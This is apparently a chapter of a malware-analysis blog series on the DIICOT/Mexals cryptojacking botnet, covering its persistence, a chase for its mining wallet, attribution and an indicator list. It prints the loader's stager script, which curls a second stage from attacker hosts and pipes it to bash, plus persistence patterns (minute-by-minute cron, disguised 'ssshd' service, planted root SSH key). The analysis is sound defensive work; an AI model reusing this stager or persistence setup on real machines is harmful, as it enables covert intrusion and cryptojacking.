DIICOT · Chapter 28
The wallet that never travels
Comes from chapter 27 · Only the leader talks
The two previous chapters left the kit taken apart piece by piece, and one question unanswered: who it pays. I went looking. And what I found was a design that prevents it — the mining config never travels inside the critter, it gets downloaded afterwards — and scaffolding somebody had already dismantled. This is the chase, what it does plant when you let it run, and how far what I can prove about who's behind it actually goes.
This thread starts where the bot chapter left off. I already know how it gets in, what it carries inside and how it takes orders. What's left is what matters about a cryptojacker: who it pays.
Spoiler, because I'd rather say it up front than have you read to the end for nothing: I didn't manage it. And the reason I didn't manage it is the best part of the chapter.
01What it plants when you let it run
On the decoy it never started. In the cage I did let it run, and as root, to see what really gets installed. It plants three things at once, and all three are for the same purpose: coming back. seen
# 1 · root's cron — four entries, one of them every minute
@reboot /var/tmp/<8 hex>/8b8989e8 & disown
* * * * * /var/tmp/<8 hex>/8b8989e8 & disown
@daily … @monthly …
# 2 · a systemd service with a system-sounding name
myservices.service → ExecStart=/bin/bash /usr/bin/ssshd
Restart=always · RestartSec=1800
# 3 · an SSH key in root's front door
/root/.ssh/authorized_keys ← ssh-rsa AAAAB3…nY3w== ElPatrono1337Each one is worth looking at, because they're designed to fail separately.
The cron revives the loader every minute. And the directory it keeps it in has an eight-character random name that changes with every infection: looking for a specific path is no good, you have to look for the shape. seen
The systemd service is called myservices.service and launches something called /usr/bin/ssshd — with three esses. At a glance, in a listing, that passes for the SSH daemon. It isn't: it's the script that goes and fetches the second stage, and the service relaunches it every half hour, forever. seen
And the SSH key is the quietest and the worst. If you clean out the processes, the cron job and the service, and you don't look at that file, the attacker carries on walking in the front door without a password. It's signed with a name: ElPatrono1337. We'll come back to him.
So what I had read as "the intruder typing" wasn't anybody typing: it was the kit running its own routine. The difference matters — there wasn't a person at the keyboard deciding, there was a list. inferred
The final order of the chain comes out like this: the dropper releases the five modules, the scanner acts as conductor, moves the loader and the miner into their hiding places, plants the three persistences, and launches the loader and the bot. The two miners sit still, waiting. seen
And there's the explanation for a detail in the previous chapter that I let pass without comment: when I asked the bot for its status, its panel said Miners: 0. It wasn't that the cage was getting in its way. It's that the miners didn't yet know who to pay.
02Neither of the two miners knows who to pay
Here's the design finding, and it's the one that makes everything else interesting.
I swept the five modules looking for anything shaped like a Monero wallet. Nothing. Not in the clear, not encrypted, not in any of the five. The XMRig it carries is stock XMRig, unconfigured: the only server written into it is the XMRig project's own, which has nothing to do with the attacker. seen
So where does the config come from? Detonating the loader shows it: it doesn't start any miner. What it does is write a six-line script and run it.
#!/bin/bash
if curl -s --connect-timeout 15 hxxp://195.24.237.240/.x/black3; then
curl -s hxxp://195.24.237.240/.x/black3 | bash
else
curl -s hxxp://digital.digitaldatainsights[.]org/.x/black3 | bash
fiThat's all of it. It pulls a file off one of the attacker's servers and hands it to the shell. The mining config —the server to connect to and the wallet to credit— lives out there, in that file, and only reaches the machine at the moment it's used. seen
Taking it out of the binary fixes that at a stroke. You can capture the whole critter, unpack it, deobfuscate it and read every line — and still not know who it pays. To find out you have to go and ask its server, which is exactly the move a defender can't always afford. inferred
On the way through, the loader drops a silly little file at /tmp/.fontconfig/.fc-cache with eight bytes in it. It does nothing: it's a marker, so the kit knows that machine is already its own. seen
03I went looking for it
The question was whether to go after that file. Downloading it means connecting to the attacker's server, and this project draws a line there: you observe, you don't touch.
The way out was to do it over Tor — a network that routes the connection through several intermediate computers, so that whoever receives the request can't see where it came from. It isn't a trick for hiding from anybody: it's so that, if the attacker's server was noting down who asks it for things, it wouldn't note down any address of mine. And with a safety rule in front: if Tor failed, the request wasn't made — never in the clear.

The result, in two rounds:
The first, against the two addresses the script carries. The main one didn't answer — tried with three different circuits, in case it was bad luck with one exit node. The backup didn't even resolve. seen
The second was more interesting, because before giving up I searched the public archives that keep copies of scanned pages. It turned out that same file had once been served from more addresses than the script knows about. I tried them all, over Tor as well. One is dead. Another too. And the third answered — but what it gave back was a parking page: the sign a registrar puts up when a domain is suspended. seen
It isn't that the server is down for a while. It's that the domain isn't theirs any more.
It's a cheap, effective filter: it keeps the payload out of the public repositories for the whole campaign. Which is why, when the infrastructure goes down, whatever it carried, nobody has. inferred
04And the phone doesn't answer either
That left the other half to check. In the previous chapter I described how the bot takes orders over a Telegram chat, and how its identifier is written inside the binary. I also said that identifier had been cancelled. Time to show how I know, because I didn't infer it.
Telegram has a query whose job is to ask the platform itself whether a bot exists. It doesn't read messages, doesn't write, doesn't touch the queue of pending orders and no notice reaches its owner. It is, literally, asking whether the number gives a dial tone.
{"ok":false,"error_code":401,"description":"Unauthorized"}401. The identifier is no longer valid. I repeated it with a second exit node, in case the first was blocked: same answer. And it's a clean answer from Telegram, not a network error — if the route were cut, this message wouldn't arrive. seen
The difference I judged sufficient: nothing here is asked of the attacker, it's asked of Telegram — a neutral third party — whether an account is still alive. His channel isn't read, he isn't written to, his message queue isn't consumed and he isn't notified. One single read-only query, over Tor and from a machine that isn't mine.
What remains off limits, and wasn't done: requesting the messages, sending an order, or touching the mesh. Publishing the identifier is one thing; using it is another.
And that 401 fits with the previous chapter like a piece of a puzzle. The identifier is in plain sight of anyone who opens the sample; Telegram cancels the ones that leak; and the operator had already planned for that — there's a reason the bot knows how to hand itself around the mesh. They took away his phone, and the botnet had a plan for that. inferred
05Who's behind it, and which part I can prove
This needs going slowly, because it's where a borrowed claim slips through most easily.
What comes out of the binary, and therefore what I can show: the bot introduces itself as DIICOT-BOTNET in its status panel; one of the modules and its paths are called diicot; and the SSH key it plants is signed ElPatrono1337. Three things, all three inside the sample. seen
What doesn't come out of the binary and I had to go and find elsewhere: that this name corresponds to a campaign known as color1337, and that the group is associated with the name Mexals, documented since 2023. That isn't in my sample: the community says so, and I'm simply repeating it with the source attached. read
The tie between the one and the other is solid, though, and it isn't only the name. What those 2023 reports describe matches piece for piece what I've just dug up: the myservices.service, the /usr/bin/ssshd relaunched every half hour, the target file, the key signed the same way. It's the same kit. read inferred
What has changed is what this chapter and the previous one have laid out:
documented (2023) this sample (2026)
command Discord webhooks Telegram bot
topology client → server P2P mesh with leader election
binaries unobfuscated obfuscated and packed
updating — handed around the mesh itselfSame actor, same habits, same name on the key. Command layer rebuilt from scratch. That's what the case contributes — not discovering the actor, who has been published for years, but showing what he has turned into. inferred
It doesn't fit anything else: that other family doesn't carry a password dictionary with Huawei@123 in it, nor the files this one leaves, nor a Telegram command channel. It's a reminder that automatic labels describe traits, not authors — and that one eye-catching trait drags the whole classification along with it. inferred
06What I can't prove
Five things, and the first is the one that gives the chapter its title.
The wallet. I don't have it, and I'm not going to have it with this sample. It isn't that I didn't know how to look: it isn't inside, by design, and the place it used to be no longer exists. If that file ever turns up in a public repository, this reopens. Until then it's a gap, and I'd rather write it down than fill it with a figure from somewhere else.
Whether the campaign is dead or just this build. What I can state is what I've touched: this identifier is cancelled and this second stage is dismantled. About the mesh I know nothing — it could be running right now on a newer version, and I'd have no passive way of finding out.
How many machines there are. The bot aims for two thousand connections, but that's an intention written in the code, not a census. Counting the mesh would mean speaking its protocol, which is authenticated — and that would be getting inside. It wasn't done.
What the scanner does when it hunts for victims. I know what it is and I know what dictionary it carries. I haven't let it scan, not for a second: that would be launching brute force at third-party machines from here, and there's no result that would justify it.
Exactly how the new binary gets handed around. I saw it chopped up and propagated, and I saw the nodes restart. The transfer protocol on the inside, I haven't taken apart.
07Indicators (IOCs)
The arrival is in chapter 26 and the command channel in 27. These are the ones for what it plants and what it goes to fetch.
| Type | Value |
|---|---|
| Fake service | myservices.service → /bin/bash /usr/bin/ssshd · restart every 1,800 s |
| Disguised file | /usr/bin/ssshd — with three esses; it's the stager, not the SSH daemon |
| Root cron | @reboot · @daily · @monthly · * * * * * → /var/tmp/<8 hex>/8b8989e8 (the directory changes with every infection) |
| SSH backdoor | key in /root/.ssh/authorized_keys with the comment ElPatrono1337 |
| On-disk markers | /tmp/.fontconfig/.fc-cache · /var/tmp/.ladyg0g0/.pr1nc35 · /var/tmp/Documents/.diicot |
| Stager | /tmp/.c — sha256 2bcc91fdedb8c583a9fe883be9ad453333a1bba0fdf655474982db3cbb8e7a74 |
| Second stage | hxxp://195.24.237.240/.x/black3 · backup hxxp://digital.digitaldatainsights[.]org/.x/black3 (both down as of 19 Sep 2026) |
| Historic distribution | 52.223.13.41 (parked today) · 80.76.51.5 (dead) · test.digitaldatainsights[.]org:7777 (dead) |
| Actor handles | ElPatrono1337 · ladyg0g0 · .pr1nc35 |
If I had to keep three of them to watch over a fleet: a service called myservices, a file called ssshd with three esses and a cron entry that runs every minute. All three take a second to search for, and none of them has any business existing on a healthy machine.
To be continued — the family has been collecting since 2021 and it hasn't stopped: it moved command from Discord to Telegram, built itself a mesh that heals itself, and took the wallet out of the critter so that nobody can follow it. Every turn it takes is another door closing on whoever is investigating. Two pieces of the kit are still not fully opened —the one that hunts for victims and the mesh protocol— and the decoy is still lit. 🍯
Comments